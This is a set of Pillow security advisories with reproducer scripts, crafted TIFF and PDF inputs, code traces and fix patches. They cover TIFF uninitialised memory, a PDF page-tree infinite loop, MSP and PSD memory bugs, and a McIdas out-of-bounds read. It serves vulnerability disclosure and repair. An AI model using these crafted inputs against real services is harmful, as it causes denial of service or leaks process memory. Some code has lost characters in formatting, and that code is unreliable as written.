diff diff --git a/Tests/testfilelibtiff.py b/Tests/testfilelibtiff.py index 3d804ea4a..67bc96329 100644 --- a/Tests/testfilelibtiff.py +++ b/Tests/testfilelibtiff.py @@ -1162,6 +1162,45 @@ class TestFileLibTiff(LibTiffTestCase): im.load() assert im.size == (950, 975) + @pytest.mark.parametrize("tiled", (False, True)) + def testjpegshortstrip(self, tiled: bool) -> None: + # The JPEG data in the strip/tile only contains 8 of the 256 rows that + # RowsPerStrip/TileLength declare. libtiff decodes the rows that exist + # and still reports success, so the remaining rows must be cleared + # rather than left as uninitialised memory. + jpeg = io.BytesIO() + Image.new("L", (256, 8), 200).save(jpeg, "JPEG") + jpegdata = jpeg.getvalue() + + ifd = TiffImagePlugin.ImageFileDirectoryv2() + ifd[256] = 256 # ImageWidth + ifd[257] = 256 # ImageLength + ifd[258] = 8 # BitsPerSample + ifd[259] = 7 # Compression: JPEG + ifd[262] = 1 # PhotometricInterpretation: BlackIsZero + ifd[277] = 1 # SamplesPerPixel + if tiled: + ifd[322] = 256 # TileWidth + ifd[323] = 256 # TileLength + ifd[324] = 0 # TileOffsets + ifd[325] = len(jpegdata) # TileByteCounts + # Point the tile data at the end of the IFD + ifd[324] = 8 + len(ifd.tobytes(8)) + else: + ifd[278] = 256 # RowsPerStrip + ifd[STRIPOFFSETS] = 0 # Updated by tobytes() to follow the IFD + ifd[279] = len(jpegdata) # StripByteCounts + + b = io.BytesIO() + ifd.save(b) + b.write(jpegdata) + + with Image.open(b) as im: + assert im.tile[0][0] == "libtiff" + im.load() + assert im.crop((0, 0, 256, 8)).getextrema() == (200, 200) + assert im.crop((0, 8, 256, 256)).getextrema() == (0, 0) + def testorientation(self) -> None: with Image.open("Tests/images/g4orientation1.tif") as baseim: for i in range(2, 9): diff --git a/src/libImaging/TiffDecode.c b/src/libImaging/TiffDecode.c index 8a57c523d..d1d6bfbbb 100644 --- a/src/libImaging/TiffDecode.c +++ b/src/libImaging/TiffDecode.c @@ -457,6 +457,11 @@ decodeTile( for (plane = 0; plane < planes; plane++) { ImagingShuffler shuffler = unpackers[plane]; for (x = state->xoff; x < state->xsize; x += tilewidth) { + // Some codecs (e.g. JPEG, Group 4) succeed on a tile that decodes + // to fewer rows than the tile length, leaving the rest of the + // buffer untouched. Clear it so that uninitialised memory is not + // copied into the image. + memset(state->buffer, 0, state->bytes); if (TIFFReadTile(tiff, (tdatat)state->buffer, x, y, 0, plane) == -1) { TRACE(("Decode Error, Tile at %dx%d\n", x, y)); state->errcode = IMAGINGCODECBROKEN; @@ -563,6 +568,11 @@ decodeStrip( int plane; for (plane = 0; plane < planes; plane++) { ImagingShuffler shuffler = unpackers[plane]; + // Some codecs (e.g. JPEG, Group 4) succeed on a strip that decodes + // to fewer rows than RowsPerStrip, leaving the rest of the buffer + // untouched. Clear it so that uninitialised memory is not copied + // into the image. + memset(state->buffer, 0, state->bytes); if (TIFFReadEncodedStrip( tiff, TIFFComputeStrip(tiff, state->y, plane),

The reproducer

<details> <summary>Reproducer — <code>repro</code>, 2,688 bytes (click to open)</summary>

Its last line is BUG when the issue triggers and OK when it does not. Re-run on a clean build of that commit it printed BUG.

python #!/usr/bin/env python3 Pillow TiffDecode.c decodeStrip/decodeTile: strip/tile buffer is realloc()ed, never initialised, and copied whole into the image even when libtiff's JPEG codec decoded fewer rows than RowsPerStrip/TileLength. Two independent signals: pass 1 (normal heap): seed freed 64 KiB chunks with b"LEAK" just before load() and count copies of LEAK in the decoded pixels (file contains no such bytes); pass 2 (same script re-run under glibc MALLOCPERTURB=170): fresh malloc memory is 0x55, so rows that come back all-0x55 are provably uninitialised heap. import gc, io, os, struct, subprocess, sys from PIL import Image W = H = 256; ROWS = 8 perturbed = os.environ.get("MALLOCPERTURB") == "170" if not perturbed: print("Pillow", Image.version, Image.core.file)

def tiff(jpegrows, tiled): j = io.BytesIO(); Image.new("L", (W, jpegrows), 200).save(j, "JPEG"); j = j.getvalue() tags = [(256,3,1,W), (257,3,1,H), (258,3,1,8), (259,3,1,7), (262,3,1,1), (277,3,1,1)] tags += ([(322,3,1,W), (323,3,1,H), (324,4,1,0), (325,4,1,len(j))] if tiled else [(273,4,1,0), (278,3,1,H), (279,4,1,len(j))]) tags.sort(); off = 8 + 2 + 12len(tags) + 4 tags = [(t,ty,c, off if t in (273,324) else v) for t,ty,c,v in tags] ifd = struct.pack("<H", len(tags)) + b"".join(struct.pack("<HHLL", t) for t in tags) return b"II\0" + struct.pack("<L", 8) + ifd + struct.pack("<L", 0) + j

bug = False for tiled in (False, True): for jpegrows, label in ((H, "well-formed"), (ROWS, "crafted")): data = tiff(jpegrows, tiled); assert b"LEAK" not in data im = Image.open(io.BytesIO(data)); assert im.tile[0][0] == "libtiff" junk = [bytearray(b"LEAK" (WH//4)) for in range(6)]; del junk; gc.collect() im.load() # no exception for either file below = im.tobytes()[WROWS:] n55, nleak = below.count(0x55), below.count(b"LEAK") print(f"[{'perturb' if perturbed else 'normal '}] {'tiled' if tiled else 'strip'} " f"{label:11s} ({len(data):4d} B) rows {ROWS}-{H-1}: {nleak:5d} x b'LEAK', " f"{n55:5d}/{len(below)} == 0x55, head={below[:8]!r}") if jpegrows == ROWS and (nleak > 0 or (perturbed and n55 == len(below))): bug = True if not perturbed: r = subprocess.run([sys.executable, sys.argv[0]], env={os.environ, "MALLOCPERTURB": "170"}, captureoutput=True, text=True) lines = r.stdout.rstrip().split("\n") print("\n".join(lines[:-1])); sys.stderr.write(r.stderr) bug = bug or lines[-1] == "BUG" print("BUG" if bug else "OK") </details>

---

1 / 2
Source: GitHub
First published (updated )
Severity
8.7
AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

============================================================================ Infinite loop in PdfParser.rewritepages on page tree Parent cycle Location: src/PIL/PdfParser.py:505 in PdfParser.rewritepages() Commit: a707c6b21c313880d0771e54965d142dd42358b6 ============================================================================

A PDF file of a few hundred bytes makes Pillow hang forever, holding one processor core at 100%, when an application tries to append an image to it. Anyone who can supply the existing PDF to an application that calls im.save(fp, "PDF", append=True) (or saveall=True, append=True) can tie up that worker indefinitely. Memory use stays flat, so only an external timeout stops it.

The bug is in PdfParser.rewritepages() in src/PIL/PdfParser.py (the while pagestreenoderef: loop at line 505). For each original page, it walks the /Parent chain upward and stops only when it reaches a node with no /Parent. It keeps no record of nodes it has already visited, so a loop in that chain never ends. The simplest case is a /Pages root that lists itself as its own /Parent; a longer cycle among page-tree nodes behaves the same way. The path is PdfImagePlugin.save() → writecatalog() → rewritepages(), and it is reached whether the save target is a file path or a BytesIO. Plain Image.open() pipelines are not affected, because Pillow only parses PDFs on the append path.

This is a sibling of CVE-2026-42310 (the cyclic trailer /Prev loop in the same parser). The processedoffsets guard added to readprevtrailer() for that issue does not cover this walk. The loop was introduced in 24ecfe315ab5 (2018-03-03) and has been present in every release since 5.1.0.

The attached reproducer builds two in-memory PDFs and appends a 4×4 image to each. The normal file finishes in about 45 ms. The 333-byte self-parented file is still spinning inside rewritepages() when a 5-second watchdog interrupts it. Two alternative fixes are attached: one silently tolerates the cycle, and one rejects the file with an error.

Details

PdfParser.rewritepages() walks the /Parent chain of every pre-existing page upward and stops only when a node has no /Parent. It keeps no record of visited nodes, so a page-tree node whose /Parent points at itself, or at any node below it, makes the walk spin forever.

The following 333-byte file is a valid one-page PDF except that object 2, the page-tree root, declares /Parent 2 0 R:

%PDF-1.4 1 0 obj <</Type /Catalog /Pages 2 0 R>> endobj 2 0 obj <</Type /Pages /Kids [3 0 R] /Count 1 /Parent 2 0 R>> endobj 3 0 obj <</Type /Page /Parent 2 0 R /MediaBox [0 0 10 10]>> endobj xref 0 4 0000000000 65535 f 0000000009 00000 n 0000000056 00000 n 0000000125 00000 n trailer <</Size 4 /Root 1 0 R>> startxref 192 %%EOF

Image.new("RGB", (4, 4)).save(io.BytesIO(pdf), "PDF", append=True) on these bytes never returns and holds one core at 100 % (the same happens when the target is a file path opened r+b). Interrupting it with SIGALRM after 5 s gives this traceback every time:

File "src/PIL/PdfImagePlugin.py", line 263, in save existingpdf.writecatalog() File "src/PIL/PdfParser.py", line 473, in writecatalog self.rewritepages() File "src/PIL/PdfParser.py", line 505, in rewritepages while pagestreenoderef:

The same file without /Parent 2 0 R on object 2 is appended to in ~30 ms.

The loop:

python src/PIL/PdfParser.py:483-510 def rewritepages(self) -> None: pagestreenodestodelete = [] for i, pageref in enumerate(self.origpages): pageinfo = self.cachedobjects[pageref] del self.xreftable[pageref.objectid] pagestreenodestodelete.append(pageinfo[PdfName(b"Parent")]) … # delete redundant Pages tree nodes from xref table for pagestreenoderef in pagestreenodestodelete: while pagestreenoderef: pagestreenode = self.cachedobjects[pagestreenoderef] if pagestreenoderef.objectid in self.xreftable: del self.xreftable[pagestreenoderef.objectid] pagestreenoderef = pagestreenode.get(b"Parent", None) self.origpages = []

How the input gets there: with append=True, PdfImagePlugin.save() opens the existing bytes with PdfParser.PdfParser(f=fp, …, mode="r+b") (src/PIL/PdfImagePlugin.py:199), whose constructor calls readpdfinfo(). That reads the catalog, reads the page-tree root through readindirect() — which stores every object it reads in self.cachedobjects (src/PIL/PdfParser.py:1077) — and flattens the tree with linearizepagetree(), which readindirect()s every /Kids entry. So after parsing, origpages == [3 0 R] and objects 2 and 3 are both in cachedobjects. save() then calls existingpdf.writecatalog() → rewritepages().

For the file above, the first loop puts page 3's /Parent, 2 0 R, into pagestreenodestodelete. The inner while looks object 2 up in cachedobjects, removes it from the xref table on the first pass, and sets pagestreenoderef to object 2's /Parent — which is 2 0 R again. Nothing in the loop body changes on subsequent iterations, so it never exits: cachedobjects[2 0 R] is never evicted, and deleting an already-deleted id from XrefTable is silent — delitem only records the id in deletedentries, while contains keeps answering from existingentries. The loop performs no I/O and no allocation, so neither MemoryError nor the recursion limit intervenes. A longer cycle behaves identically as long as every node on it was reached through linearizepagetree() and is therefore cached (e.g. root 2 → /Kids [4 0 R], node 4 → /Kids [3 0 R] /Parent 2 0 R, and root 2 declaring /Parent 4 0 R); a /Parent pointing at an object that was never read raises KeyError instead, which is harmless.

The parser already defends against exactly this shape of problem one level up: readprevtrailer() (src/PIL/PdfParser.py:699-722) carries a processedoffsets list and raises PdfFormatError("trailer loop found") when a /Prev offset repeats — the fix for CVE-2026-42310. The /Parent walk in rewritepages() has no equivalent guard.

The unguarded walk was introduced in 24ecfe315ab5 ("issue #2959: fix wrong Parent of pre-existing Page objects when appending", 2018-03-03) and has been in every release since 5.1.0.

Impact

Any application that appends pages to a PDF it did not produce — im.save(fp, "PDF", append=True) or saveall=True, append=True on a user-supplied document — hangs indefinitely with one CPU core pinned, on an input of a few hundred bytes. The loop is pure Python doing two dict lookups per iteration, so memory stays flat and memory limits do not end it; only an external watchdog does. In a web worker or batch converter that is a denial of service of that worker per request. The attacker needs to control only the bytes of the existing PDF; no non-default Pillow setting is involved beyond the application choosing the append path. Pillow does not open PDFs for reading, so plain Image.open() pipelines are not affected.

This is a sibling of CVE-2026-42310 (infinite loop on a cyclic trailer /Prev chain in the same parser, same entry point): same class, different linked structure, and the guard added for that CVE does not cover it.

Reproducing

repro is a single Python script that runs against the installed Pillow (/src/src/PIL). It needs no build step and no companion files, and takes about 5 seconds.

The script builds two one-page PDFs in memory with makepdf(). Each has a Catalog (object 1), a /Pages root (object 2) and a /Page (object 3), and each has a correct xref table. The only difference between them is in object 2:

- control has <</Type /Pages /Kids [3 0 R] /Count 1>>. This is a normal file. - cyclic has <</Type /Pages /Kids [3 0 R] /Count 1 /Parent 2 0 R>>, so the page-tree root names itself as its own /Parent. This is the 333-byte file shown above.

For each PDF the script prints the bytes and then calls Image.new("RGB", (4, 4)).save(io.BytesIO(pdf), "PDF", append=True) under a 5-second SIGALRM watchdog. If the watchdog fires, the script prints the Pillow frames the append was running in. The control runs first and has to finish. If it doesn't, the environment is broken, so the script prints OK without giving a verdict.

Expected output on this commit (PDF dumps omitted):

[control] append finished in 0.045s [cyclic] still running after 5s, interrupted in: save() /src/src/PIL/Image.py:2724 savehandler(self, fp, filename) save() /src/src/PIL/PdfImagePlugin.py:263 existingpdf.writecatalog() writecatalog() /src/src/PIL/PdfParser.py:473 self.rewritepages() rewritepages() /src/src/PIL/PdfParser.py:506 pagestreenode = self.cachedobjects[pagestreenoderef] ... BUG

The innermost one or two frames change from run to run, because the alarm can land anywhere in the loop body at lines 505–509. The rewritepages() frame is always there. The control's timing shows that the same file without the self-reference is appended to in milliseconds. A fixed parser either finishes the cyclic append just as fast or rejects the file with an exception. In both cases the script prints OK. With attached patch 1 applied it prints [cyclic] append finished in 0.001s and OK. With attached patch 2 it prints [cyclic] raised PdfFormatError: page tree loop found and OK. The last line is BUG only when the cyclic append is still running when the watchdog fires.

Suggested fix

Both attached patches fix the root cause, which is that the /Parent walk in rewritepages() keeps no record of the nodes it has visited. Either one can be merged; they differ only in what happens to a malformed file.

Attached patch 1 (tolerant; our preference) adds one processedpagestreenodes set that is shared across all pages in the delete loop, and breaks out of the while as soon as it reaches a node it has already seen:

python src/PIL/PdfParser.py, rewritepages() processedpagestreenodes: set[IndirectReference] = set() for pagestreenoderef in pagestreenodestodelete: while pagestreenoderef: if pagestreenoderef in processedpagestreenodes: break processedpagestreenodes.add(pagestreenoderef) …

Breaking loses nothing, because a visited node has already been removed from the xref table. The output is the same as today for every file that terminates. The file above is appended to normally, and object 2 ends up deleted. As a side effect, the ancestor chain that every page shares is walked once in total rather than once per page.

Attached patch 2 (strict) follows the readprevtrailer() guard from the CVE-2026-42310 fix. It keeps a processedpagestreenodes list for each page and calls checkformatcondition(pagestreenoderef not in processedpagestreenodes, "page tree loop found"), so a cyclic file is rejected with PdfFormatError. The list is per page because ancestors are legitimately shared between the pages of a well-formed document. Note that the error is raised from writecatalog(). By then the new page objects have already been written to the r+b file, but the new xref/trailer has not. Any other error raised on the append path today leaves the file in the same partially written state.

Each patch also adds a testpagetreeparentloop regression test to Tests/testpdfparser.py. The test builds the self-parented PDF above in memory, so no binary test asset is needed. No other /Parent walk exists in the parser, and linearizepagetree() does not follow /Parent.

Note that this walk follows /Parent links, which nothing else in PdfParser reads: linearizepagetree() only follows /Kids downward and never looks at /Parent, so a visited-set added to the /Kids recursion (see Related findings) does not reach this loop. The file above has a perfectly tree-shaped /Kids structure and still hangs; both walks need their own guard, and they are natural to land together as one "validate page tree while appending" change.

Related findings

- Exponential page tree expansion in PdfParser.linearizepagetree() (repeated /Kids references) hangs PDF append — the downward counterpart of this bug in the same parser and on the same Image.save(..., "PDF", append=True) entry point: linearizepagetree() (src/PIL/PdfParser.py:1080-1094) recurses into every /Kids entry and re-parses it via readindirect() with no visited set, so a /Pages chain whose nodes list the same child N times over D levels costs N<sup>D</sup> object parses (a 1.9 KB, 10-wide × 12-level file never returns; a 5.8 KB, 300-wide × 3-level file runs for 13 minutes; a direct /Kids cycle ends in RecursionError). It differs from this report in the link followed (/Kids down vs /Parent up), the function and phase (linearizepagetree() during readpdfinfo() in the PdfParser constructor vs rewritepages() during writecatalog()), the introducing commit (6207b44ab1ff vs 24ecfe315ab5), and the symptom (exponential but finite CPU vs a true infinite loop). It needs a separate hunk: the patches attached here only guard the /Parent walk and leave the /Kids reproducer hanging in linearizepagetree(), and the /Kids guard conversely leaves this reproducer spinning in rewritepages() — verified by cross-applying each patch. Applied together (the /Kids guard plus attached patch 2), both reproducers are rejected with PdfFormatError: page tree loop found and Tests/testpdfparser.py + Tests/testfilepdf.py pass (30 tests).

The patch (1 of 2)

Track visited page-tree nodes in PdfParser.rewritepages() so a cyclic /Parent chain cannot loop forever when appending to a PDF

Applies to src/PIL/PdfParser.py at the commit above.

diff diff --git a/Tests/testpdfparser.py b/Tests/testpdfparser.py index f2ae6b11f..f841aca14 100644 --- a/Tests/testpdfparser.py +++ b/Tests/testpdfparser.py @@ -169,3 +169,28 @@ def testduplicatexrefentry() -> None: def testtrailerloop() -> None: with pytest.raises(PdfFormatError, match="trailer loop found"): PdfParser("Tests/images/trailerloop.pdf") + + +@pytest.mark.timeout(5) +def testpagetreeparentloop() -> None: + # the /Pages root names itself as its own /Parent + objects = [ + b"<</Type /Catalog /Pages 2 0 R>>", + b"<</Type /Pages /Kids [3 0 R] /Count 1 /Parent 2 0 R>>", + b"<</Type /Page /Parent 2 0 R /MediaBox [0 0 10 10]>>", + ] + b = BytesIO(b"%PDF-1.4\n") + offsets = [] + for objectid, body in enumerate(objects, start=1): + offsets.append(b.tell()) + b.write(b"%d 0 obj\n%s\nendobj\n" % (objectid, body)) + xrefoffset = b.tell() + b.write(b"xref\n0 4\n0000000000 65535 f \n") + b.write(b"".join(b"%010d 00000 n \n" % offset for offset in offsets)) + b.write(b"trailer\n<</Size 4 /Root 1 0 R>>\nstartxref\n%d\n%%%%EOF\n" % xrefoffset) + + with PdfParser(f=b, mode="r+b") as pdf: + pdf.startwriting() + pdf.writecatalog() + pdf.writexrefandtrailer() + assert 2 in pdf.xreftable.deletedentries diff --git a/src/PIL/PdfParser.py b/src/PIL/PdfParser.py index 672557190..9260cd8e7 100644 --- a/src/PIL/PdfParser.py +++ b/src/PIL/PdfParser.py @@ -501,8 +501,14 @@ class PdfParser: # replace the page reference with the new one self.pages[j] = newpageref # delete redundant Pages tree nodes from xref table + processedpagestreenodes: set[IndirectReference] = set() for pagestreenoderef in pagestreenodestodelete: while pagestreenoderef: + if pagestreenoderef in processedpagestreenodes: + # ancestors are shared between pages, and a malformed + # /Parent chain may loop back on itself + break + processedpagestreenodes.add(pagestreenoderef) pagestreenode = self.cachedobjects[pagestreenoderef] if pagestreenoderef.objectid in self.xreftable: del self.xreftable[pagestreenoderef.objectid]

The patch (2 of 2)

Raise PdfFormatError("page tree loop found") in PdfParser.rewritepages() when a page's /Parent chain loops back on itself

Applies to src/PIL/PdfParser.py at the commit above.

diff diff --git a/Tests/testpdfparser.py b/Tests/testpdfparser.py index f2ae6b11f..24faeefbc 100644 --- a/Tests/testpdfparser.py +++ b/Tests/testpdfparser.py @@ -169,3 +169,27 @@ def testduplicatexrefentry() -> None: def testtrailerloop() -> None: with pytest.raises(PdfFormatError, match="trailer loop found"): PdfParser("Tests/images/trailerloop.pdf") + + +@pytest.mark.timeout(5) +def testpagetreeparentloop() -> None: + # the /Pages root names itself as its own /Parent + objects = [ + b"<</Type /Catalog /Pages 2 0 R>>", + b"<</Type /Pages /Kids [3 0 R] /Count 1 /Parent 2 0 R>>", + b"<</Type /Page /Parent 2 0 R /MediaBox [0 0 10 10]>>", + ] + b = BytesIO(b"%PDF-1.4\n") + offsets = [] + for objectid, body in enumerate(objects, start=1): + offsets.append(b.tell()) + b.write(b"%d 0 obj\n%s\nendobj\n" % (objectid, body)) + xrefoffset = b.tell() + b.write(b"xref\n0 4\n0000000000 65535 f \n") + b.write(b"".join(b"%010d 00000 n \n" % offset for offset in offsets)) + b.write(b"trailer\n<</Size 4 /Root 1 0 R>>\nstartxref\n%d\n%%%%EOF\n" % xrefoffset) + + with PdfParser(f=b, mode="r+b") as pdf: + pdf.startwriting() + with pytest.raises(PdfFormatError, match="page tree loop found"): + pdf.writecatalog() diff --git a/src/PIL/PdfParser.py b/src/PIL/PdfParser.py index 672557190..9021b8d63 100644 --- a/src/PIL/PdfParser.py +++ b/src/PIL/PdfParser.py @@ -502,7 +502,13 @@ class PdfParser: self.pages[j] = newpageref # delete redundant Pages tree nodes from xref table for pagestreenoderef in pagestreenodestodelete: + processedpagestreenodes = [] while pagestreenoderef: + checkformatcondition( + pagestreenoderef not in processedpagestreenodes, + "page tree loop found", + ) + processedpagestreenodes.append(pagestreenoderef) pagestreenode = self.cachedobjects[pagestreenoderef] if pagestreenoderef.objectid in self.xreftable: del self.xreftable[pagestreenoderef.objectid]

The reproducer

<details> <summary>Reproducer — <code>repro</code>, 3,152 bytes (click to open)</summary>

Its last line is BUG when the issue triggers and OK when it does not. Re-run on a clean build of that commit it printed BUG.

python #!/usr/bin/env python3 """Infinite loop in PdfParser.rewritepages() on a cyclic /Parent chain.

Appending an image to an existing PDF (im.save(fp, "PDF", append=True)) makes rewritepages() walk each original page's /Parent chain upward until a node has no /Parent. Nothing records which nodes were visited, so a /Pages node that names itself as its own /Parent keeps the walk going forever.

We append a 4x4 image to two one-page PDFs that differ in one entry: control - a normal PDF -> finishes in milliseconds cyclic - the /Pages root also says /Parent 2 0 R -> never finishes A SIGALRM watchdog interrupts the append and shows the line it was stuck on. """ import io import signal import time import traceback

from PIL import Image

WATCHDOGS = 5

def makepdf(pagesroot): """Catalog (1) -> /Pages root (2) -> /Page (3), with a correct xref table.""" objects = [ b"<</Type /Catalog /Pages 2 0 R>>", pagesroot, b"<</Type /Page /Parent 2 0 R /MediaBox [0 0 10 10]>>", ] pdf = bytearray(b"%PDF-1.4\n") offsets = [] for num, body in enumerate(objects, start=1): offsets.append(len(pdf)) pdf += b"%d 0 obj\n%s\nendobj\n" % (num, body) xrefoffset = len(pdf) pdf += b"xref\n0 4\n0000000000 65535 f \n" pdf += b"".join(b"%010d 00000 n \n" % off for off in offsets) pdf += b"trailer\n<</Size 4 /Root 1 0 R>>\nstartxref\n%d\n%%%%EOF\n" % xrefoffset return bytes(pdf)

class StillRunning(BaseException): pass

def onalarm(signum, frame): raise StillRunning

def appendimage(name, pdf): """Append an image to pdf; return True if it finished before the watchdog.""" print(f"--- {name}: {len(pdf)}-byte PDF ---") print(pdf.decode("latin-1"), end="") signal.alarm(WATCHDOGS) start = time.monotonic() try: Image.new("RGB", (4, 4)).save(io.BytesIO(pdf), "PDF", append=True) except StillRunning as e: print(f"[{name}] still running after {WATCHDOGS}s, interrupted in:") for frame in traceback.extracttb(e.traceback): if "/PIL/" in frame.filename: print(f" {frame.name}() {frame.filename}:{frame.lineno} {frame.line}") return False except Exception as e: # rejecting the file is a correct, safe outcome print(f"[{name}] raised {type(e).name}: {e}") return True finally: signal.alarm(0) print(f"[{name}] append finished in {time.monotonic() - start:.3f}s") return True

signal.signal(signal.SIGALRM, onalarm)

Set up: the well-formed file is appended to instantly. control = makepdf(b"<</Type /Pages /Kids [3 0 R] /Count 1>>") if not appendimage("control", control): print("control case did not finish; environment problem, no verdict") print("OK") raise SystemExit

Attack: the same file, except the /Pages root is its own /Parent. cyclic = makepdf(b"<</Type /Pages /Kids [3 0 R] /Count 1 /Parent 2 0 R>>") finished = appendimage("cyclic", cyclic)

Verify: a fixed parser finishes (or rejects the file) like the control. print("BUG" if not finished else "OK") </details>

---

1 / 2
Source: GitHub
First published (updated )
Severity
8.7
AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary The MSP RLE decoder expands run-length data into an in-memory buffer with no cap tied to the declared image size. A small file that passes the pixel-count check can force hundreds of megabytes or more of allocation when the application loads pixels.

Details The MSP decoder writes each run into an unbounded io.BytesIO and can expand roughly 85x per run:

- src/PIL/MspImagePlugin.py:144-146

Impact Memory-exhaustion denial of service from a tiny crafted image in any application that loads pixels. The expansion is decoupled from the declared pixel count, so MAXIMAGEPIXELS does not bound it.

1 / 2
Source: GitHub
First published (updated )
Severity
8.6
Integer Overflow
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Impact Processing a malicious PSD file could lead to memory corruption, potentially resulting in a crash or arbitrary code execution.

Patches Patched version: 12.2.0

Pillow 12.1.1 addressed CVE-2026-25990 by adding checks for tile extents in PSD image decoding/encoding to prevent an out-of-bounds write. However, the bounds checks computed tile extent sums using types susceptible to integer overflow, meaning a PSD image with carefully chosen tile dimensions could produce values that wrap around and bypass the checks, still triggering an out-of-bounds write in src/decode.c and src/encode.c. The fix avoids adding extents together before comparison.

Workarounds Use any version but affected versions: >= 10.3.0, < 12.2.0

Resources - Fix: https://github.com/python-pillow/Pillow/pull/9520 - Original issue: CVE-2026-25990 (Pillow 12.1.1)

1 / 3
Source: GitHub
First published (updated )
Severity
8.3
Integer Overflow
AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

When Pillow loads an uncompressed image whose tile uses the raw codec and a mode in Image.MAPMODES, and the image was opened from a filename, it memory-maps the file and builds the image's row pointers directly into the mapping via PyImagingMapBuffer (src/map.c). The per-row spacing (stride) is taken from the tile arguments. map.c validates offset + ysizestride <= bufferlen but never checks that stride is at least the natural row width xsize pixelsize.

The McIdas AREA plugin (McIdasImagePlugin.py) derives stride, offset, xsize, and ysize directly from attacker-controlled 32-bit header words with no validation. By supplying a stride far smaller than the row width, an attacker makes each row pointer read xsizepixelsize bytes that run past the mapped region. Accessing the pixels (e.g. Image.tobytes(), getpixel, convert, save) then reads adjacent process memory (information disclosure) or faults (SIGBUS, denial of service).

Complete Code Trace

Step 1: McIdasImageFile.open - turns attacker header words into image size, file offset, and row stride with no validation.

python src/PIL/McIdasImagePlugin.py:41-70 s = self.fp.read(256) if not accept(s) or len(s) != 256: # accept: prefix == b"\x00\x00\x00\x00\x00\x00\x00\x04" raise SyntaxError(...) self.areadescriptor = w = [0, struct.unpack("!64i", s)] # w[1..64] = signed BE int32, ALL attacker-controlled

if w[11] == 1: mode = rawmode = "L" # pixelsize 1, in MAPMODES elif w[11] == 2: mode = rawmode = "I;16B" # pixelsize 2, in MAPMODES ... self.mode = mode self.size = w[10], w[9] # (xsize, ysize) <-- attacker offset = w[34] + w[15] # <-- attacker stride = w[15] + w[10] w[11] w[14] # <-- attacker (set w[14]=0, w[15]=1 => stride=1) self.tile = [ ImageFile.Tile("raw", (0, 0) + self.size, offset, (rawmode, stride, 1)) ]

Step 2: ImageFile.load (mmap branch) - selects mmap and delegates to mapbuffer.

python src/PIL/ImageFile.py:322-348 if usemmap: # usemmap = self.filename and len(self.tile) == 1 decodername, extents, offset, args = self.tile[0] if (decodername == "raw" and isinstance(args, tuple) and len(args) >= 3 and args[0] == self.mode and args[0] in Image.MAPMODES): if offset < 0: # only lower-bound guard on offset raise ValueError("Tile offset cannot be negative") with open(self.filename) as fp: self.map = mmap.mmap(fp.fileno(), 0, access=mmap.ACCESSREAD) if offset + self.size[1] args[1] > self.map.size(): # == offset + ysizestride; NO stride>=linesize check raise OSError("buffer is not large enough") self.im = Image.core.mapbuffer( self.map, self.size, decodername, offset, args # args = ("L", stride, 1) )

Step 3: PyImagingMapBuffer - builds row pointers at stride spacing into the mmap; validates everything except stride >= row width.

c / src/map.c:65-140 / if (!PyArgParseTuple(args, "O(ii)sn(sii)", &target, &xsize, &ysize, &codec, &offset, &modename, &stride, &ystep)) return NULL; ... const ModeID mode = findModeID(modename); / "L" /

if (stride <= 0) { / attacker sets stride=1 (>0) -> NOT recomputed / if (mode == IMAGINGMODEL || mode == IMAGINGMODEP) stride = xsize; else if (isModeI16(mode)) stride = xsize 2; else stride = xsize 4; }

if (stride > 0 && ysize > PYSSIZETMAX / stride) {/ overflow guard only / PyErrSetString(PyExcMemoryError, "Integer overflow in ysize"); return NULL; } size = (Pyssizet)ysize stride; / = 11 = 1 /

if (offset > PYSSIZETMAX - size) { ... } ... if (offset + size > view.len) { / 1 + 1 = 2 <= 256 -> PASSES / PyErrSetString(PyExcValueError, "buffer is not large enough"); PyBufferRelease(&view); return NULL; }

im = ImagingNewPrologueSubtype(mode, xsize, ysize, sizeof(ImagingBufferInstance)); / im->linesize = xsize pixelsize = 200000 (the REAL per-row read width) /

/ setup file pointers -- NO check that stride >= im->linesize / if (ystep > 0) { for (y = 0; y < ysize; y++) { im->image[y] = (char )view.buf + offset + y stride; / row points into mmap, spacing=1 / } } else { ... }

im->linesize (the number of bytes any consumer reads per row) is xsize pixelsize = 200000, but the row pointers are only stride = 1 byte apart and the buffer is only offset + ysizestride = 2 bytes "claimed". Nothing reconciles the two.

Step 4: pixel access (Image.tobytes() → raw encoder copy1) - reads linesize bytes from im->image[0], i.e. xsize bytes starting at view.buf + offset, running far past the mmap.

c / the raw "L" packer copies linesize (=xsize) bytes per row from im->image[y]; for row 0 that is view.buf+1 .. view.buf+1+200000, vs a 256-byte file. /

Chain Summary

